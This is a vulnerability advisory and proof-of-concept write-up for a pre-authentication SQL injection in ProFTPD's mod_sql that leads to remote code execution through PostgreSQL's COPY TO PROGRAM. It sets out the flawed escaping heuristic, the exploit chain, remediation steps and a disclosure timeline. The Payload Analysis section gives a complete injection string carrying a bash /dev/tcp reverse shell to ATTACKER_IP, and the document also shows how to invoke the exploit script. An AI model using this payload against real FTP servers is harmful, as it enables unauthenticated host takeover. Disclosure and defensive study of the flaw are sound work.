Share
## https://sploitus.com/exploit?id=3522B931-4FE8-5250-93B7-465D616321B4
\# CVE-2026-42167 POC
## Pre-Authentication Remote Code Execution in ProFTPD via `mod_sql` SQL Injection

**Author:** Van Glenndon Enad

**Published:** May 1, 2026

**Severity:** Critical

**CVSS v3.1 Score:** 8.1

**CWE:** CWE-89 (SQL Injection), CWE-78 (OS Command Injection)

---

## Table of Contents

1. [Executive Summary](#executive-summary)
2. [Affected Software](#affected-software)
3. [Vulnerability Description](#vulnerability-description)
4. [Root Cause Analysis](#root-cause-analysis)
5. [Prerequisites](#prerequisites)
6. [Exploit Chain](#exploit-chain)
7. [Payload Analysis](#payload-analysis)
8. [Proof of Concept](#proof-of-concept)
9. [Impact](#impact)
10. [Remediation](#remediation)
11. [References](#references)
12. [Disclosure Timeline](#disclosure-timeline)

---

## Executive Summary

CVE-2026-42167 is a critical pre-authentication SQL injection vulnerability in ProFTPD's `mod_sql` extension module. A logic flaw in the `is_escaped_text()` function allows an unauthenticated attacker to bypass SQL character escaping by crafting a `USER` command whose value satisfies a flawed "already-escaped" heuristic. The injected SQL is passed directly to the backend database via `PQexec()`, which supports stacked queries.

When the ProFTPD database role is a PostgreSQL superuser โ€” a common misconfiguration in containerized deployments โ€” the injection reaches PostgreSQL's `COPY TO PROGRAM` directive, resulting in **unauthenticated OS-level Remote Code Execution** as the `postgres` system user. No credentials, no prior access, and no user interaction are required.

---

## Affected Software

| Component | Version |
|---|---|
| **ProFTPD** | โ‰ค 1.3.9 |
| **Module** | `mod_sql` + `mod_sql_postgres` |
| **Fixed Version** | 1.3.9a (released April 27, 2026) |
| **Backend** | PostgreSQL (RCE); MySQL / SQLite (auth bypass only) |

ProFTPD is a widely deployed open-source FTP server. According to Shodan, over **160,000 publicly accessible ProFTPD instances** exist on the internet. The `mod_sql` module is commonly enabled in shared hosting control panels including cPanel, Plesk, DirectAdmin, Webmin, and ISPConfig.

---

## Vulnerability Description

ProFTPD's `mod_sql` module supports SQL-backed authentication and activity logging. Log format strings can include substitution variables such as `%U` (username), `%r` (remote host), and `%m` (FTP command). These variables are expanded at runtime and inserted into SQL queries executed against the configured backend.

A typical vulnerable configuration:

```text
LoadModule mod_sql.c
LoadModule mod_sql_postgres.c

SQLEngine on
SQLBackend postgres
SQLAuthTypes Plaintext
SQLConnectInfo dbname@localhost dbuser dbpassword
SQLNamedQuery log_activity INSERT "'%U', '%r', '%m'" activity_log
SQLLog * log_activity
SQLLog ERR_* log_activity
```

In this configuration, the value supplied in the FTP `USER` command is substituted for `%U` and included directly in a SQL `INSERT` statement. Before insertion, the value is passed through `is_escaped_text()` to determine whether it needs escaping. This function contains a critical logical flaw.

---

## Root Cause Analysis

### The Flawed `is_escaped_text()` Function

Located in `contrib/mod_sql.c`, the function applies the following heuristic to decide if a string is "already escaped":

```c
static int is_escaped_text(const char *s) {
  size_t slen = strlen(s);

  /* Assume the string is escaped if:
   *   1. It starts with a single quote
   *   2. It ends with a single quote
   *   3. It contains no internal single quotes
   */
  if (slen >= 2 &&
      s[0] == '\'' &&
      s[slen - 1] == '\'' &&
      strchr(s + 1, '\'') == (s + slen - 1)) {
    return TRUE;  /* skip escaping */
  }
  return FALSE;
}
```

When this function returns `TRUE`, `sql_resolved_append_text()` (line 777) inserts the raw, unescaped value directly into the query string. The value is then executed by `PQexec()` in `contrib/mod_sql_postgres.c` (line 1146), which supports **stacked (multi-statement) queries**.

### Why the Heuristic Fails

The heuristic was likely intended to detect strings that were already surrounded by SQL string delimiters. However, it makes no attempt to verify that the inner content is safe โ€” only that no additional single quotes are present. This means any payload that:

- Begins with `'`
- Ends with `'`
- Uses **no single quotes internally** (e.g., uses PostgreSQL `$$` dollar-quoting instead)

...will pass the check and be injected verbatim into the SQL query.

### Injection Flow

```text
FTP Client                ProFTPD                  PostgreSQL
    โ”‚                         โ”‚                         โ”‚
    โ”‚โ”€โ”€ USER ''  โ”€โ”€โ–ถ โ”‚                         โ”‚
    โ”‚                         โ”‚ expand %U = '' โ”‚
    โ”‚                         โ”‚ is_escaped_text() = TRUEโ”‚
    โ”‚                         โ”‚ skip escaping           โ”‚
    โ”‚                         โ”‚โ”€โ”€ INSERT INTO activity  โ”‚
    โ”‚                         โ”‚   VALUES ('',  โ”‚
    โ”‚                         โ”‚   ...) โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ–ถ  โ”‚
    โ”‚                         โ”‚                         โ”‚ execute stacked SQL
    โ”‚                         โ”‚                         โ”‚ COPY TO PROGRAM
    โ”‚                         โ”‚                         โ”‚โ”€โ”€ shell command โ”€โ”€โ–ถ OS
```

---

## Prerequisites

| Requirement | Notes |
|---|---|
| `mod_sql` enabled with SQL logging | Must log a pre-auth variable such as `%U` |
| PostgreSQL backend | Required for `COPY TO PROGRAM` RCE; MySQL/SQLite still allow auth bypass |
| DB role is PostgreSQL superuser | `COPY TO PROGRAM` is restricted to superusers or members of `pg_execute_server_program` |
| `bash` available on DB host | Required for `/dev/tcp` reverse shell delivery |
| Network reachability | PostgreSQL container must be able to reach attacker on the listener port |
The superuser condition is frequently met in containerized deployments where the ProFTPD DB user is created via `POSTGRES_USER=...` in the official PostgreSQL Docker image, or when an administrator grants the ProFTPD role ownership of the database.

---

## Exploit Chain

```text
Step 1: Attacker sends crafted USER command (pre-auth, no credentials needed)
        โ”‚
        โ–ผ
Step 2: ProFTPD expands %U with attacker-controlled value
        โ”‚
        โ–ผ
Step 3: is_escaped_text() bypass โ€” raw SQL passes through unescaped
        โ”‚
        โ–ผ
Step 4: PQexec() executes stacked query against PostgreSQL
        โ”‚
        โ–ผ
Step 5: COPY TO PROGRAM executes attacker shell command as postgres OS user
        โ”‚
        โ–ผ
Step 6: Reverse shell / file exfiltration delivered to attacker
```
---
## Payload Analysis
The injection payload is delivered via the FTP `USER` command:

```text
USER ', null, null); COPY (SELECT $$x$$) TO PROGRAM $$bash -c $$bash -i >& /dev/tcp/ATTACKER_IP/PORT 0>&1$$$$; --'
```

### Bypass Condition Verification

| Condition | Satisfied? | Reason |
|---|---|---|
| Starts with `'` | โœ… | First character is `'` |
| Ends with `'` | โœ… | Last character is `'` |
| No inner single quotes | โœ… | Inner strings use `$$` dollar-quoting |

### Payload Breakdown

| Segment | Purpose |
|---|---|
| `', null, null);` | Closes the original `INSERT` statement cleanly |
| `COPY (SELECT $$x$$) TO PROGRAM` | Stacked query using PostgreSQL's `COPY TO PROGRAM` |
| `$$bash -c ...$$` | Shell command using `$$` dollar-quoting to avoid single quotes |
| `; --'` | Terminates the stacked query; `--'` comments out remainder and provides the closing `'` for the bypass |

---

## Proof of Concept
> **Warning:** This PoC is provided for educational and authorized testing purposes only. Do not use against systems you do not own or have explicit written permission to test.

Sample Usage:

```bash
python3 CVE-2026-42167-preauth-user-rce.py --host TARGET_IP --port TARGET_PORT --shell-host ATTACKER_IP --shell-port ANY_PORT
```
---

## Impact

| Category | Description |
|---|---|
| **Confidentiality** | Full read access to the filesystem as the `postgres` OS user |
| **Integrity** | Ability to write files, modify database contents, install backdoors |
| **Availability** | Service disruption, data destruction possible |
| **Authentication** | Exploitable with zero credentials pre-authentication |
| **Scope** | Extends beyond ProFTPD to the underlying PostgreSQL host |

Any system where ProFTPD is co-located with or has superuser access to a PostgreSQL instance is at risk of full host compromise. Lateral movement to adjacent systems and persistence via cron jobs or SSH key injection are trivially achievable post-exploitation.

---

## Remediation
### Immediate Action

- **Upgrade** ProFTPD to version **1.3.9a or later** โ€” the fix patches `is_escaped_text()` with proper parameterized query handling

### If Upgrade Is Not Immediately Possible

- Disable `mod_sql`-based logging entirely (remove `SQLLog` directives)
- Remove pre-auth logging variables (`%U`, `%r`, `%m`) from `SQLNamedQuery` definitions

### Defense in Depth

- Ensure the ProFTPD database role is **not** a PostgreSQL superuser (principle of least privilege)
- Restrict the DB role to only `INSERT` on the log table and `SELECT` on the auth table
- Place ProFTPD and PostgreSQL in separate network segments where possible
- Monitor FTP logs for `USER` commands containing single quotes, `COPY`, `PROGRAM`, or SQL keywords

---

## Disclosure Timeline

| Date              | Event                                             |
| ----------------- | ------------------------------------------------- |
| March 28, 2026    | Vulnerability reported to ProFTPD maintainers     |
| April 7, 2026     | Patch verification began                          |
| April 24, 2026    | CVE-2026-42167 assigned                           |
| April 27, 2026    | Fix committed; ProFTPD 1.3.9a released            |
| April 28, 2026    | Published on NVD                                  |
| April 28โ€“29, 2026 | Public PoC repositories published on GitHub       |
| May 1, 2026       | Independent analysis and simplified PoC published |

---

## References
- [NVD โ€” CVE-2026-42167](https://nvd.nist.gov/vuln/detail/CVE-2026-42167)
- [ZeroPath Research Blog โ€” CVE-2026-42167 Auth Bypass and RCE in ProFTPD](https://zeropath.com/blog/proftpd-cve-2026-42167-auth-bypass-privesc-rce)
- [ZeroPathAI โ€” Official PoC Repository](https://github.com/ZeroPathAI/proftpd-CVE-2026-42167-poc)
- [dinosn โ€” Independent Root Cause Analysis](https://github.com/dinosn/proftpd-CVE-2026-42167-analysis)
- [ProFTPD Issue #2052 โ€” SQL injection via mod_sql is_escaped_text](https://github.com/proftpd/proftpd/issues/2052)
- [CVEFeed.io โ€” CVE-2026-42167](https://cvefeed.io/vuln/detail/CVE-2026-42167)

---

> **Legal Disclaimer:** This analysis and proof of concept are published strictly for educational, research, and defensive security purposes. The author does not condone unauthorized access to computer systems. Always obtain explicit written permission before conducting security testing against any system you do not own.